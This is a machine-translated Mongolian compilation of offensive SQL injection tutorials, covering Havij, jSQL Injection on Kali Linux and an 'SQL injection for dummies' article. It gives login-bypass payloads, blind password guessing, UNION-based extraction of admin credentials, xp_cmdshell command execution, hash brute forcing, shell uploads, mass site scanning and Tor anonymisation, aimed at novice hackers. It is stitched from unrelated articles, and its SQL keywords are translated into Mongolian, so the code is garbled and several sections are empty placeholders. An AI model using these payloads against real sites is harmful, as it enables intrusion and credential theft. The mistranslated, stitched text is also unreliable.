Sql тарилга хийх програм. Kali Linux дээр SQL тарилгыг хайж олох, ашиглах олон үйлдэлт хэрэгсэл болох jSQL Injection-ийг ашиглах заавар. jSQL Injection ашиглан хэшүүдийг бүдүүлэг шахах

Havij бол вэб сайтын эмзэг байдлыг шалгадаг программ юм. Ихэнхдээ үүнийг үндсэн зорилгодоо, тухайлбал SQL тарилга хийхэд ашигладаггүй. Үүнээс болж уг хэрэгслийг ихэвчлэн "хакердах" програм хангамж гэж ангилдаг.

Үйл ажиллагааны зарчим

Энэ програмыг ашигласнаар та SQL илэрхийллийг нэгтгэх замаар өөрчлөхийн тулд вэб үйлчилгээнд халдлага хийж болно. Хэрэв амжилттай бол тарилга нь хэрэглэгчийн хүсэлтийг гүйцэтгэх логикийг өөрийн хэрэгцээнд нийцүүлэн өөрчлөх боломжийг олгоно. Ихэнхдээ халдлага хийх үед мэдээллийн сангийн энгийн хурууны хээг үүсгэдэг бөгөөд үүний дараа шаардлагатай өгөгдлийг, жишээлбэл, хэрэглэгчийн мэдээллийн сан эсвэл администраторын данснаас импортлодог. Хэрэв сул тал байгаа бол халдагчид вэб програмын Back-end хэсэгтэй ч харьцаж болно. Ялангуяа ийм хэрэгжүүлэлт нь сервер дээр шаардлагатай командуудыг гүйцэтгэх эсвэл хост талд шаардлагатай файлуудыг үзэх боломжтой болгодог.

Боломжууд

Havij нь нууц үгийн хэш болон хүснэгтийн дампыг хадгалах боломжийг танд олгоно. Энэ програм нь танд янз бүрийн төрлийн тарилга хийх боломжийг олгодог: алдаа дээр суурилсан SQL тарилга, UNION асуулга SQL тарилга, овоолсон асуулга SQL тарилга, цаг дээр суурилсан сохор SQL тарилга, логик дээр суурилсан сохор SQL тарилга. Энэхүү хэрэгсэл нь HTTPS-тэй ажилладаг бөгөөд MSAccess, MySQL, Oracle, PostgreSQ болон Sybase зэрэг олон төрлийн DBMS-ийг дэмждэг. Шаардлагатай бол Хавиж проксигоор дамжуулан олон урсгалтай ажиллах боломжтой.

Суулгасан кодын синтаксийг гараар засах боломжтой. Мөн халдлагыг эхлүүлэхийн өмнө хайсан түлхүүр үг, хүснэгтийн багана эсвэл өгөгдлийн төрлүүдийн жагсаалтыг (жишээ нь, бүхэл тоо эсвэл бутархай) сонгох боломжтой.

Үйл ажиллагааны явцад Хавиж гүйцэтгэсэн үйлдлүүдийн дэлгэрэнгүй бүртгэлийг хөтөлж, халдлага дууссаны дараа програмын хавтсанд хадгалагддаг. Програмын интерфейс нь маш ойлгомжтой бөгөөд бүх үндсэн удирдлага нэг цонхонд багтдаг.

Гол онцлог

  • шаардлагатай синтакс бүхий SQL тарилга хийх;
  • хэрэгжүүлэх янз бүрийн хувилбаруудыг дэмжих;
  • вэбсайт болон програмын сул талыг хайх;
  • төрөл бүрийн DBMS-тэй ажиллах чадвар;
  • HTTPS болон прокси дэмжлэг.

SQL тарилгахакерын хувьд маш сайн боломж
серверт хандах. Тэгээд бага зэрэг хүчин чармайлт гаргавал тэр
одоо ч гэсэн ойлгодог :)

Дотор нь кодлогч

Өнөө үед мэдээллийн сантай ажиллахыг дэмждэг
Бараг бүх програмчлалын хэл, үүнд BASIC, C++, Java, PERL, PHP, Assembler, тэр ч байтугай JavaScript орно! Мөн эдгээр программуудыг DBMS буюу өгөгдлийн сангийн удирдлагын систем гэж нэрлэдэг. Мэдээллийн санг ихэвчлэн санхүүгийн асуудлыг шийдвэрлэхэд ашигладаг.
нягтлан бодох бүртгэл, боловсон хүчний зохион байгуулалт, гэхдээ тэд мөн Интернэтээс өөрсдийн програмыг олсон.

Өгөгдлийн санг ихэвчлэн WEB программ бичихэд ашигладаг. Тэдгээрийн хэрэглээ нь хэрэглэгчийн бүртгэлийн өгөгдөл, сесс танигч, хайлтыг зохион байгуулах, түүнчлэн илүү их боловсруулалт шаарддаг бусад ажлуудыг хийхэд хамгийн тохиромжтой.
өгөгдлийн хэмжээ. Өгөгдлийн санд нэвтрэхийн тулд серверийн технологийг ашигладаг: PHP, PERL, ASP гэх мэт. Эндээс л зугаа цэнгэл эхэлдэг. Сервер дээр байх үед
бүх засваруудыг суулгасан бөгөөд галт хана нь 80-р портоос бусад бүх портуудыг блоклодог эсвэл зарим өгөгдөлд нэвтрэхийн тулд баталгаажуулалт шаардлагатай үед хакер SQL Injection ашиглан хакердах боломжтой. Энэхүү халдлагын мөн чанар нь WEB технологи болон SQL-ийн уулзвар дээрх алдааг ашиглах явдал юм. Баримт нь хэрэглэгчийн мэдээллийг боловсруулах олон вэб хуудас нь тусгай хэлбэрийг бүрдүүлдэг SQLмэдээллийн сангийн хүсэлт. Энэ техникийг хайхрамжгүй ашиглах нь нэлээд сонирхолтой үр дүнд хүргэдэг ...

SQL тарилга

Энэ халдлагыг тайлбарлахын тулд та нэг маш чухал хэрэгсэл татаж авахаар сайт руу орж, зөвхөн бүртгэлтэй хэрэглэгч үүнийг хийж чадна гэдгийг аймшигтайгаар анзаарсан гэж төсөөлөөд үз дээ, бүртгүүлэх нь мэдээжийн хэрэг мөнгө шаарддаг :) Та бусдад өгөхийг хүсэхгүй байна. таны хамгийн сүүлд олсон мөнгө, гэхдээ та програмгүйгээр үүнийг хийж чадахгүй! Хэрхэн гэдгийг санах цаг болжээ
мэдээллийн санд хандах SQL. Жишээлбэл, PHP дээр нэвтрэх болон нууц үгээ шалгах нь дараах байдалтай байж болно.

$result=mysql_db_query($db,"СОНГОХ * FROM $хүснэгт ХААНА хэрэглэгч="$нэвтрэх" БОЛОН
нэвтрүүлэх = "$ нууц үг"");
$тоо_мөр=mysql_тоо_мөр($үр дүн);
mysql_close($link);
хэрэв ($тоо_мөр!=0)
{
// БАТАЛГАА ОК
}
өөр
{
// БАТАЛГААНЫ АЛДАА
}

Би "AUTENTICATION OK" гэсэн хоёр тайлбар нэмсэн - оронд нь би оруулах хэрэгтэй
нууц үг болон нэвтрэх зөв бол гүйцэтгэх код руу очно уу. Өөр нэг "AUTENTICATION ERROR" нь буруу бол гүйцэтгэх кодыг тайлбарлах газар юм. Хэрэв та маягтыг бөглөвөл хүсэлт нь “http://www.server.com?login=user&password=31337” шиг харагдах бөгөөд www.server.com нь нэр юм.
бидний холбогдохыг оролдож буй сервер. Бид хайж байсан зүйлээ олсон тул бид дахин ажилдаа эргэн орох болно SQL. Тиймээс, хэрэв та зөвшөөрөл авахын тулд нэвтрэх болон нууц үгээ зааж өгөх шаардлагатай бол үүсгэсэн болно SQLхүсэлт дараах байдлаар харагдах болно.

login="user" БОЛОН Хэрэглэгчээс * СОНГОХ
нууц үг = "31337"

Энэ нь үүнтэй төстэй зүйл гэсэн үг юм: "хэрэглэгч" болон нууц үг нь "31337" гэсэн хэрэглэгчийн мэдээллийн сангаас бүх бүртгэлийг надад буцааж өгнө үү. Хэрэв ийм бүртгэл байгаа бол хэрэглэгч бүртгүүлсэн, гэхдээ байхгүй бол үгүй ​​... Гэхдээ тодорхой нөхцөлд бүх зүйлийг засч залруулж болно. Энэ нь програм нь дамжуулагдсан өгөгдлийн агуулгыг шалгаагүй эсвэл байгаа эсэхийг бүрэн шалгаагүй нөхцөл байдлыг хэлнэ. SQLзааварчилгаа. Энэ жишээнд нэвтрэх болон нууц үг гэсэн хоёр талбарыг шалгасан боловч хэрэв та нууц үгээ "31337" БА email=" гэж зааж өгсөн бол. [имэйлээр хамгаалагдсан]"(давхар хашилтгүйгээр), дараа нь асуулга арай өөр болно:

login="user" ба нууц үг="31337" БОЛОН Хэрэглэгчээс * СОНГОХ
имэйл = [имэйлээр хамгаалагдсан]"

Хэрэв имэйлийн талбар байгаа бол энэ нөхцөлийг мөн шалгах болно. Хэрэв та Булийн алгебрын үндсийг санаж байвал "ба" үйлдлээс гадна "эсвэл" гэсэн үйлдэл байдаг бөгөөд тэдгээрийн хэрэглээ SQL-ээр дэмжигддэг тул та үүнийг хийх боломжтой.
тайлбарласан арга замаар үргэлж үнэнийг буцаадаг нөхцөлийг нэмнэ. Үүнийг хийхийн тулд та "хэрэглэгч" ЭСВЭЛ 1=1---г нэвтрэх гэж зааж өгөх ёстой бөгөөд энэ тохиолдолд хүсэлт дараах хэлбэртэй болно.

Хэрэглэгчээс * ХААНА login = "хэрэглэгч" ЭСВЭЛ 1=1--" БА ГЭДГИЙГ СОНГОХ
нууц үг = "31337"

Эхлээд та "--" гэдэг нь хүсэлтийн төгсгөл, "--"-ийн дараах бүх зүйл гэдгийг мэдэх хэрэгтэй.
боловсруулагдахгүй! Бид хүсэлт гаргасан нь харагдаж байна:

Хэрэглэгчээс * ХААНА login="user" ЭСВЭЛ 1=1-ийг СОНГОХ

Таны харж байгаагаар бид "1=1" нөхцөлийг нэмсэн бөгөөд энэ нь баталгаажуулах шалгуур нь "хэрэв нэвтрэх нь "хэрэглэгч" эсвэл 1=1" гэсэн үг боловч 1 нь үргэлж 1-тэй тэнцүү байна (Ганц үл хамаарах зүйл нь Дани Шеповаловын арифметик байж болно. :)). Бидний сэжигтэй байдлыг шалгахын тулд
Хаягийн мөрөнд "http://www.server.com?login=user or 1=1--&password=31337" гэж оруулна уу. Энэ нь бидний аль нэвтрэхийг зааж өгсөн нь хамаагүй, гэхдээ үүнд хүргэдэг
ялангуяа нууц үг! Мөн бид матриц, системд байгаа бөгөөд хэрэгтэй зүйлээ тайван татаж авах боломжтой.

Гэхдээ энэ бүхэн онолын хувьд. Практикт бид хүсэлтийг хэрхэн бүрдүүлж, ямар өгөгдөл, ямар дарааллаар дамжуулж байгааг мэдэхгүй байна. Тиймээс та бүх талбарт "хэрэглэгч" ЭСВЭЛ 1=1--"-ийг зааж өгөх ёстой. Мөн илгээх маягтаас далд талбар байгаа эсэхийг шалгах хэрэгтэй. HTML-д тэдгээрийг " гэж тодорхойлсон байдаг. ". Хэрэв байгаа бол хуудсыг хадгалж, эдгээр талбаруудын утгыг өөрчил. Тэдгээрт агуулагдах утгууд нь SQL хэллэг байгаа эсэхийг шалгахаа мартдаг. Гэхдээ бүх зүйл ажиллахын тулд та бүрэн утгыг зааж өгөх хэрэгтэй. энэ хүсэлтийг боловсруулдаг "ACTION" параметрийн маягт дахь скриптийн зам ("FORM" шошго).

Гэхдээ хүсэлт хэрхэн үүссэн нь үргэлж мэдэгддэггүй.
Өмнөх жишээг дараах байдлаар үүсгэж болно.

* ХААНААС хэрэглэгчдийг сонгох (нэвтрэх = "хэрэглэгч" ба нууц үг = "31337")
Нэвтрэх = "хэрэглэгч" ба нууц үг = = "31337" ХААНААС хэрэглэгчдээс * СОНГОХ
Нэвтрэх=хэрэглэгч ба нууц үг=31337 ГЭДЭГ Хэрэглэгчээс * СОНГОХ

Энэ тохиолдолд та дараах сонголтыг туршиж үзэж болно.

"ЭСВЭЛ 1=1--
"ЭСВЭЛ 1=1--
ЭСВЭЛ 1=1--
" OR "a"="a
" OR "a"="a
") OR ("a"="a
ЭСВЭЛ "1"="1"

Энэ бүхэн скриптийн зорилго болон програмистаас хамаарна. Хүн бүр бүх зүйлийг өөрийнхөөрөө хийх хандлагатай байдаг тул програмист хамгийн хялбар сонголтыг сонгохгүй байх магадлалтай. Тиймээс та нэн даруй хийх ёсгүй
татгалзсан бол бууж өг. Шаардлагатай
аль болох олон сонголтыг туршиж үзээрэй ...

Нууц үг илрүүлэх

Зөвшөөрлийг алгасах нь тийм ч муу зүйл биш, гэхдээ ихэвчлэн таны ашиглаж буй нүх хаагдаж, танд боломжтой байсан бүх зүйл алга болдог.
Хэрэв програмист тэнэг биш бол үүнийг хүлээх хэрэгтэй
Цаг хугацаа өнгөрөхөд энэ нь бүх цоорхойг хаах болно. Ийм нөхцөл байдлаас урьдчилан сэргийлж чадвал амархан салж чадна. Зөв шийдэл нь нууц үгээ ашиглан таамаглах явдал юм
баталгаажуулалтын үр дүнд дүн шинжилгээ хийх. Эхлээд нууц үгээ таахыг хичээцгээе, үүнийг хийхийн тулд байршлыг нь оруулна уу:

"ЭСВЭЛ нууц үг>"a

Хэрэв бидэнд зөвшөөрөл олгосон гэж хэлвэл нууц үг
"а" үсгээр эхэлдэггүй, харин жагсаалтад байгаа дараах зүйлсийн аль нэгээр нь эхэлдэг. Үргэлжлүүлэн орлъё
"a", дараагийн "b", "c", "d", "e"... гэх мэтийг байрлуул. нууц үг буруу байна гэж хэлэх хүртэл. Энэ процессыг "x" тэмдэгтээр зогсоогоорой, энэ тохиолдолд нөхцөл байдлыг хөгжүүлэх хоёр сонголт бий болно: нууц үг олдсон эсвэл нууц үг энэ тэмдэгтээр эхэлдэг. Эхний сонголтыг шалгахын тулд нууц үгийн байршлыг бичнэ үү:

"ЭСВЭЛ нууц үг="x

Хэрэв нууц үгийг зөвшөөрч, нэвтрэхийг зөвшөөрсөн бол та нууц үгээ таасан байна! За, үгүй, тэгвэл та хоёр дахь дүрийг сонгох хэрэгтэй.
яг адилхан, эхнээсээ. Хоёр тэмдэгт байгаа эсэхийг шалгана уу
адилхан хэрэгтэй. Төгсгөлд нь та нууц үг хүлээн авах бөгөөд та ижил аргаар нэвтрэхийг хайх болно :)
Хэрэв олсон нууц үг, нэвтрэх нэр танд тохирохгүй бол та бусдыг олох боломжтой. Үүнийг хийхийн тулд та олсон нууц үгийн сүүлчийн тэмдэгтээс шалгаж эхлэх хэрэгтэй. Тиймээс хэрэв нууц үг нь "xxx" байсан бол нууц үг байгаа эсэхийг шалгах шаардлагатай
"xxxy":

"ЭСВЭЛ нууц үг="xxx

нэгээс олон сонголтыг алдахгүйн тулд!

MS SQL сервер

Шаардлагатай шүүлтүүрийг орхигдуулсан тохиолдолд MS SQL Server нь ерөнхийдөө бурхны хишиг юм. SQL Injection-ийн эмзэг байдлыг ашигласнаар та ажиллуулж болно
exec master..xp_cmdshell ашиглан алсын сервер дээрх командууд. Гэхдээ энэ загварыг ашиглахын тулд
СОНГОХ үйлдлийг гүйцэтгэх ёстой. SQL-д мэдэгдлүүд нь цэг таслалаар тусгаарлагддаг. Тиймээс, Telnet-ээр дамжуулан зарим IP руу холбогдохын тулд нууц үг/нэвтрэх кодыг оруулах шаардлагатай:

"; exec master..xp_cmdshell "telnet 192.168.0.1" --

MS SQL Server нь мэдээллийн санд хадгалагдсан нэвтрэлт болон нууц үгийг олж мэдэх боломжийг олгодог хэд хэдэн сонирхолтой функцуудтай. Үүнийг хийхийн тулд алдааны гаралтыг дурын сервер болон тэдгээрээр дамжуулан дахин чиглүүлдэг
дүн шинжилгээ хийснээр та хүснэгтийн нэр, талбар, тэдгээрийн төрлийг олж мэдэх боломжтой. Үүний дараа та хүсэлт гаргаж болно

" UNION SELECT TOP 1 login FROM Хэрэглэгчээс--

(нэвтрэх нь нэвтрэх мэдээллийг агуулсан талбарын нэр, хэрэглэгчид нь хүснэгтийн нэр,
алдааны шинжилгээний явцад хагас эрдэмтэд).

Хариулт нь:


"admin.) nvarchar утгыг хөрвүүлэх синтакс алдаа гарлаа" to a column of data type int. !}
/default.asp, мөр 27

Одоо бид "админ" нэртэй хэрэглэгч байгааг мэдэж байна. Одоо бид түүний нууц үгийг авах боломжтой:

" UNION "Нэвтрэх = "админ"----г ашигладаг хэрэглэгчдээс ШИЛДЭГ 1 нууц үгээ сонго.

Үр дүн:

ODBC драйверуудад зориулсан Microsoft OLE DB үйлчилгээ үзүүлэгчийн алдаа "80040e07"
"xxx.) nvarchar утгыг хөрвүүлэх синтакс алдаа гарлаа" to a column of data type int. !}
/tedault.asp, мөр 27

Одоо бид "ххх" нууц үгтэй "админ" хэрэглэгч байгааг мэдэж байна. Үүний тусламжтайгаар та аюулгүйгээр хийж чадна
үүнийг ашиглаад системд нэвтэрнэ үү 😉

Гэхдээ SQL-тэй ажиллах өөр олон функцууд байдаг.
Өгөгдлийн сантай ажиллахдаа та өгөгдлийг устгах, өөрчлөх, өөрөө оруулах, тэр ч байтугай файлуудыг удирдах, бүртгэлтэй ажиллах боломжтой.
Ерөнхийдөө SQL серверийн дүрмүүд :)

Хамгаалалт

Гэхдээ мэдээжийн хэрэг энэ бүхнээс зайлсхийх боломжтой. Үүнийг хийхийн тулд та чадна
шүүлтүүр ашиглах,
үйлдвэрлэгчдээс хангадаг. Та өөрийн шийдлийг олох боломжтой, жишээлбэл, бүгдийг нь солих
давхар хашилт (хэрэв SQLхүсэлтийг бид дангаар нь ашиглах), эсвэл эсрэгээр. Хэрэв та оруулах шаардлагатай бол зөвхөн үсэг болон s@baki ашиглахыг зөвшөөрөх боломжтой
имэйл хаяг. Мөн сувдан дотор гайхалтай зүйл байдаг
DBI::DBD модулийн 🙂 quote() функц нь таны асуулгад аюулгүй байдлыг хангадаг. SQL. Олон шийдэл байдаг, танд хэрэгтэй
давуу талыг ашиглах. Тэгэхгүй бол яагаад энэ бүхэн...

Татаж авсан файлаа давхар товшиж ажиллуулна уу (та виртуал машинтай байх шаардлагатай).

3. Сайтыг SQL тарилгатай эсэхийг шалгах үед нэрээ нууцлах

Kali Linux дээр Tor болон Privoxy-г тохируулж байна

[Хэсэг боловсруулж байгаа]

Windows дээр Tor болон Privoxy-г тохируулах

[Хэсэг боловсруулж байгаа]

jSQL Injection дахь прокси тохиргоо

[Хэсэг боловсруулж байгаа]

4. jSQL Injection ашиглан SQL injection сайтыг шалгаж байна

Програмтай ажиллах нь маш энгийн. Зөвхөн вэбсайтын хаягийг оруулаад ENTER товчийг дарна уу.

Дараах дэлгэцийн агшинд сайт нь гурван төрлийн SQL тарилгад өртөмтгий болохыг харуулж байна (тэдгээрийн талаарх мэдээллийг баруун доод буланд заасан). Тарилгын нэр дээр дарснаар та ашигласан аргыг сольж болно.

Мөн одоо байгаа мэдээллийн сангууд бидэнд аль хэдийн харуулагдсан.

Та хүснэгт бүрийн агуулгыг харж болно:

Ерөнхийдөө хүснэгтүүдийн хамгийн сонирхолтой зүйл бол администраторын итгэмжлэл юм.

Хэрэв та азтай бөгөөд администраторын мэдээллийг олж авбал баярлахад эрт байна. Та энэ өгөгдлийг хаана оруулах админ самбарыг олох шаардлагатай хэвээр байна.

5. jSQL Injection ашиглан админ самбар хайх

Үүнийг хийхийн тулд дараагийн таб руу очно уу. Энд бид боломжит хаягуудын жагсаалттай мэндчилж байна. Та шалгахын тулд нэг буюу хэд хэдэн хуудсыг сонгож болно:

Тохиромжтой тал нь бусад програм ашиглах шаардлагагүй юм.

Харамсалтай нь нууц үгээ тодорхой текстээр хадгалдаг хайхрамжгүй програмистууд тийм ч олон байдаггүй. Нууц үгийн мөрөнд бид иймэрхүү зүйлийг ихэвчлэн хардаг

8743b52063cd84097a65d1633f5c74f5

Энэ бол хэш юм. Та үүнийг харгис хүчээр тайлж болно. Мөн... jSQL Injection нь brute force-тэй.

6. jSQL Injection ашиглан харгис хэшүүд

Ямар ч эргэлзээгүй тав тухтай байдал нь та өөр програм хайх шаардлагагүй юм. Хамгийн алдартай олон хэшүүдийн дэмжлэг байдаг.

Энэ бол хамгийн сайн сонголт биш юм. Хэшийг тайлах гуру болохын тулд орос хэл дээрх "" номыг санал болгож байна.

Гэхдээ мэдээж хэрэг, өөр програм байхгүй эсвэл суралцах цаг байхгүй үед jSQL Injection нь brute force функцтэй, маш хэрэгтэй болно.

Тохиргоонууд байдаг: та нууц үгэнд ямар тэмдэгт оруулах, нууц үгийн уртын хязгаарыг тохируулах боломжтой.

7. SQL тарилгыг илрүүлсний дараа файлын үйлдлүүд

Өгөгдлийн сантай хийх үйлдлээс гадна тэдгээрийг унших, өөрчлөх, хэрэв SQL тарилга илэрсэн бол дараах файлын үйлдлүүдийг хийж болно.

  • сервер дээрх файлуудыг унших
  • серверт шинэ файл байршуулах
  • бүрхүүлүүдийг серверт байршуулах

Энэ бүгдийг jSQL Injection дээр хэрэгжүүлдэг!

Хязгаарлалтууд байдаг - SQL сервер нь файлын эрхтэй байх ёстой. Ухаалаг системийн администраторууд тэдгээрийг идэвхгүй болгосон бөгөөд файлын системд хандах боломжгүй болно.

Файлын эрх байгаа эсэхийг шалгах нь маш энгийн. Табуудын аль нэгэнд очиж (файлуудыг унших, бүрхүүл үүсгэх, шинэ файл байршуулах) заасан үйлдлүүдийн аль нэгийг хийхийг оролдоорой.

Өөр нэг чухал тэмдэглэл - бид ажиллах файлын яг үнэмлэхүй замыг мэдэх хэрэгтэй - эс тэгвээс юу ч ажиллахгүй.

Дараах дэлгэцийн агшинг харна уу:

Файл дээр ажиллах аливаа оролдлогод бид дараах хариуг хүлээн авна. FILE эрх байхгүй(файлын эрх байхгүй). Мөн энд юу ч хийж чадахгүй.

Хэрэв та өөр алдаа гаргавал:

[сангийн_нэр] руу бичихэд асуудал гарсан

Энэ нь та файл бичихийг хүссэн үнэмлэхүй замыг буруу зааж өгсөн гэсэн үг юм.

Үнэмлэхүй замыг таамаглахын тулд та дор хаяж сервер ажиллаж байгаа үйлдлийн системийг мэдэх хэрэгтэй. Үүнийг хийхийн тулд Сүлжээний таб руу шилжинэ үү.

Ийм бичлэг (мөр Win64) нь биднийг Windows үйлдлийн системтэй харьцаж байна гэж үзэх үндэслэлийг өгдөг:

Амьд байлгах: хугацаа=5, хамгийн их=99 Сервер: Apache/2.4.17 (Win64) PHP/7.0.0RC6 Холболт: Амьд байлгах арга: HTTP/1.1 200 OK Агуулгын урт: 353 Огноо: 2015 оны 12-р сарын 11-ний Баасан 11:48:31 GMT X-Powered-By: PHP/7.0.0RC6 Агуулгын төрөл: текст/html; charset=UTF-8

Энд бид зарим Unix (*BSD, Linux) байна:

Дамжуулах-кодлох: хэсэгчилсэн Огноо: Баасан, 2015 оны 12-р сарын 11 11:57:02 GMT Арга: HTTP/1.1 200 OK Амьд байлгах: цаг хугацаа=3, хамгийн их=100 Холболт: амьд байлгах Контент-Төрөл: текст/html X- Powered-by: PHP/5.3.29 Сервер: Apache/2.2.31 (Unix)

Энд бидэнд CentOS байна:

Арга: HTTP/1.1 200 OK Дуусах хугацаа: 1981 оны 11-р сарын 19-ний Пүрэв, 08:52:00 GMT Set-Cookie: PHPSESSID=9p60gtunrv7g41iurr814h9rd0; path=/ Холболт: амьд байлгах X-Cache-Lookup: MISS from t1.hoster.ru:6666 Сервер: Apache/2.2.15 (CentOS) X-Powered-By: PHP/5.4.37 X-Cache: MISS-аас t1.hoster.ru Кэш-Хяналт: дэлгүүр байхгүй, кэш байхгүй, дахин баталгаажуулах ёстой, шалгалтын дараах=0, урьдчилан шалгах=0 Прагма: кэш байхгүй Огноо: 2015 оны 12-р сарын 11-ний Баасан, 12:08:54 GMT Дамжуулах-кодлох: хэсэгчилсэн контент-төрөл: текст/html; charset=WINDOWS-1251

Windows дээр сайтуудын ердийн хавтас байдаг C:\Server\data\htdocs\. Гэвч үнэн хэрэгтээ хэн нэгэн Windows дээр сервер хийх талаар "бодсон" бол энэ хүн давуу эрхийн талаар юу ч сонсоогүй байх магадлалтай. Тиймээс та C:/Windows/ лавлахаас шууд оролдож эхлэх хэрэгтэй:

Таны харж байгаагаар анх удаа бүх зүйл сайхан болсон.

Гэхдээ jSQL Injection бүрхүүлүүд нь миний толгойд эргэлзээ төрүүлдэг. Хэрэв танд файлын эрх байгаа бол вэб интерфэйсээр ямар нэгэн зүйлийг хялбархан байршуулж болно.

8. SQL тарилгын сайтуудыг бөөнөөр нь шалгах

Тэр ч байтугай энэ функцийг jSQL Injection дээр ашиглах боломжтой. Бүх зүйл маш энгийн - сайтуудын жагсаалтыг татаж аваарай (та файлаас импортлох боломжтой), шалгахыг хүсч буй зүйлээ сонгоод тохирох товчийг дарж үйл ажиллагааг эхлүүлнэ үү.

jSQL Injection-ийн дүгнэлт

jSQL Injection нь вэб сайтаас олдсон SQL тарилгыг хайж, дараа нь ашиглах сайн, хүчирхэг хэрэгсэл юм. Түүний эргэлзээгүй давуу талууд: ашиглахад хялбар, суурилуулсан холбогдох функцууд. jSQL Injection нь вэб сайтад дүн шинжилгээ хийх үед эхлэн суралцагчийн хамгийн сайн найз байж болно.

Алдаа дутагдлуудын дунд би мэдээллийн санг засварлах боломжгүйг тэмдэглэх болно (ядаж би энэ функцийг олж чадаагүй). Бүх GUI хэрэгслүүдийн нэгэн адил энэ програмын нэг сул тал нь скрипт дээр ашиглах боломжгүйтэй холбоотой байж болох юм. Гэсэн хэдий ч энэ програмд ​​зарим автоматжуулалтыг хийх боломжтой - сайтын массыг шалгах функцийн ачаар.

jSQL Injection програм нь sqlmap-аас хамаагүй илүү тохиромжтой. Гэхдээ sqlmap нь илүү олон төрлийн SQL тарилгыг дэмждэг бөгөөд файлын галт хана болон бусад функцуудтай ажиллах боломжтой.

Доод шугам: jSQL Injection бол шинэхэн хакерын хамгийн сайн найз юм.

Кали Линукс нэвтэрхий толь дахь энэ програмын тусламжийг энэ хуудаснаас авах боломжтой: http://kali.tools/?p=706

ASP+MSSQL-г хакердсан дамми-д зориулсан SQL Injection

Александр Антипов

Энэ нийтлэлд ямар ч шинэ үнэн агуулаагүй бөгөөд SQL тарилга нь хаа сайгүй хэрэглэгддэг. Нийтлэл нь эхлэгчдэд илүү зориулагдсан боловч мэргэжлийн хүмүүс нэг эсвэл хоёр шинэ заль мэхийг олох боломжтой байх.


Энэхүү нийтлэл нь шинэхэн хүмүүст SQL Injection техникийг ашиглахад тулгарч болох бэрхшээлийг даван туулах, амжилттай ашиглах, ийм халдлагаас өөрсдийгөө хамгаалахад туслах зорилготой юм.

Оршил

Сонирхсон сервер нь зөвхөн порт 80 нээлттэй байхад, эмзэг байдлын сканнер нь ямар ч сонирхолтой мэдээлэх боломжгүй бөгөөд системийн администратор вэб сервер дээр бүх засваруудыг маш хурдан суулгадаг гэдгийг та мэдэж байгаа бол бидний сүүлчийн боломж бол вэб хакердах явдал юм. SQL injection нь зөвхөн 80-р портыг ашигладаг вэб хакеруудын нэг бөгөөд засваруудыг цаг тухайд нь суулгасан ч ажиллах боломжтой. Энэхүү халдлага нь вэб сервер эсвэл үйлдлийн систем дэх үйлчилгээнүүд рүү шууд чиглэхээс илүү вэб программууд (ASP, JSP, PHP, CGI гэх мэт) рүү чиглэдэг.

Энэ нийтлэлд ямар ч шинэ үнэн агуулаагүй бөгөөд SQL тарилга нь хаа сайгүй хэрэглэгддэг. Нийтлэл нь эхлэгчдэд илүү зориулагдсан боловч мэргэжлийн хүмүүс нэг эсвэл хоёр шинэ заль мэхийг олох боломжтой байх. Мөн энэ салбарын мэргэжилтнүүдээс илүү дэлгэрэнгүй мэдээлэл авахын тулд нийтлэлийн төгсгөлд байгаа холбоосыг үзэхийг зөвлөж байна.

1.1 SQL Injection гэж юу вэ?

SQL Injection нь вэб хуудсуудаар дамжуулан SQL асуулга/команд оруулахад зориулагдсан арга юм. Олон вэб хуудсууд вэб хэрэглэгчдэд танилцуулсан параметрүүдийг ашигладаг бөгөөд мэдээллийн санд SQL хайлт хийдэг. Жишээ нь, хэрэглэгчийн нэвтэрсэн тохиолдлыг авч үзье, энэ нь нэр, нууц үг бүхий вэб хуудас болон мэдээллийн санд SQL query хийгдсэн үед тухайн нэр, нууц үгтэй бүртгэлтэй хэрэглэгч байгаа эсэхийг шалгах. SQL Injection-ийг ашигласнаар SQL асуулгад өөрчлөлт оруулах хэрэглэгчийн нэр ба/эсвэл нууц үгийн талбарыг илгээх боломжтой бөгөөд энэ нь бидэнд сонирхолтой зүйлсийг өгөх болно.

2.0 Бидний хайх ёстой зүйл

Хайлтын хуудас, хэлэлцүүлгийн хуудас гэх мэт мэдээлэл авахыг хүссэн хуудсуудыг хайж олохыг хичээ. Заримдаа html хуудаснууд өөр вэб хуудас руу тушаал илгээхийн тулд POST аргыг ашигладаг. Энэ тохиолдолд та URL-д ямар ч параметр харагдахгүй. Гэсэн хэдий ч, энэ тохиолдолд та хуудасны HTML эх кодоос "FORM" шошгыг хайж болно. Та иймэрхүү зүйлийг олох болно:



хоорондох бүх параметрүүд

Тэгээд
SQL тарилгад өртөмтгий байж болзошгүй.

2.1 Хэрэв та оролт ашигладаг хуудас олдохгүй бол яах вэ?

ASP, JSP, CGI, эсвэл PHP гэх мэт хуудаснуудыг хайж олоорой. Параметрүүдийг ашигладаг хуудсуудыг хайж үзээрэй:

3.0. Миний олсон зүйл эмзэг байгаа эсэхийг яаж шалгах вэ?

Нэг ишлэлээр эхэлж үзээрэй. Дараах мөрийг оруулна уу:

сайн уу" эсвэл 1=1--

хэрэглэгчийн нэр эсвэл нууц үгийн талбарт, эсвэл бүр URL параметрт. Жишээ:

Нэвтрэх: сайн уу" эсвэл 1=1--
Тасалбар: сайн уу" эсвэл 1=1--
http://duck/index.asp?id=hi" эсвэл 1=1--

Хэрэв та үүнийг далд талбараар хийсэн бол анхны HTML-г татаж аваад хатуу дискэндээ хадгалаад URL болон далд талбарыг өөрчилнө үү. Жишээ:



Хэрэв аз танд байгаа бол та хэрэглэгчийн нэр, нууц үггүйгээр нэвтрэх боломжтой болно.

3.1 Гэхдээ яагаад " эсвэл 1=1-- гэж?

" эсвэл 1=1-- бүтцийн ашигтай байдлыг тайлбарласан өөр жишээг харцгаая. Бүртгэлийг тойрч гарахаас гадна ихэвчлэн байдаггүй нэмэлт мэдээллийг авч үзэх боломжтой. Өөр хуудас руу холбосон asp хуудсыг авч үзье. дараах URL:

http://duck/index.asp?category=food

URL-д "категори" нь хувьсагчийн нэр, "хоол" нь тухайн хувьсагчид оноогдсон утга юм. Үүнийг хийхийн тулд asp хуудас нь дараах кодыг агуулж болно.

v_cat = хүсэлт("ангилал")
sqlstr="СОНГОХ * БҮТЭЭГДЭХҮҮНИЙГ ХААНА PCcategory="" & v_cat & """
rs=conn.execute(sqlstr) тохируулах

Таны харж байгаагаар бидний хувьсагч v_cat-тай нийлдэг тул SQL асуулга дараах байдалтай болно.

PCcategory="хоол"-ыг ХААНА бүтээгдэхүүнээс * СОНГОХ

